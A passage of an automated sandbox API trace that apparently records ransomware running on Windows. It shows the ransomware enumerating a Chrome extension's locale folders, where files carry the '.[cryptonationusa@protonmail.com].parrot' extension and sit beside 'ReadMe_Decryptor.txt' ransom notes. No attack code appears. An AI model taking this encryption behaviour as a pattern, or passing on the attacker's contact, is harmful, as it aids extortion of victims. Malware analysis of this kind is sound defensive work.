lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.952] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.952] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0d93d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0d93d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.952] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.953] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.953] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0c893c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.953] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.953] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.953] CloseHandle (hObject=0x274) returned 1 [0096.953] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0d93d60, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0d93d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0d93d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.954] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.954] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0d93d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0d93d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.954] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0c893c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.954] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.954] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.954] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1067780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1067780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.954] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.954] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.954] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb101b4c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.954] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.954] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.955] CloseHandle (hObject=0x274) returned 1 [0096.955] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1067780, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1067780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1067780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.955] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.955] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1067780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1067780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.956] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb101b4c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.956] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.956] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.956] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb108d8e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb108d8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.956] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.956] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.956] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb108d8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.956] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.956] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.957] CloseHandle (hObject=0x274) returned 1 [0096.958] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb108d8e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb108d8e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb108d8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.959] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.959] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb108d8e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb108d8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.959] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb108d8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.959] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.959] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.959] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1a85500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1a85500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.959] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.959] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.959] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1a85500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.959] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.959] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.960] CloseHandle (hObject=0x274) returned 1 [0096.960] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1a85500, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1a85500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1aab660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.960] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.960] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1a85500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1a85500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.960] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1a85500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.961] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.961] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.961] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1aab660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1aab660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.961] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.961] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.961] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1aab660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.961] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.961] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.962] CloseHandle (hObject=0x274) returned 1 [0096.962] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1aab660, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1aab660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1ad17c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.962] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.962] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1aab660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1aab660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.962] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1aab660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.962] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.962] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.962] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1ce6b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1ce6b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.962] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.962] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.962] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1c9a840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.962] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.963] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.963] CloseHandle (hObject=0x274) returned 1 [0096.963] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1ce6b00, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1ce6b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1d0cc60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.963] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.964] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1ce6b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1ce6b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.964] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1c9a840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.964] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.964] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.964] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1d0cc60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, 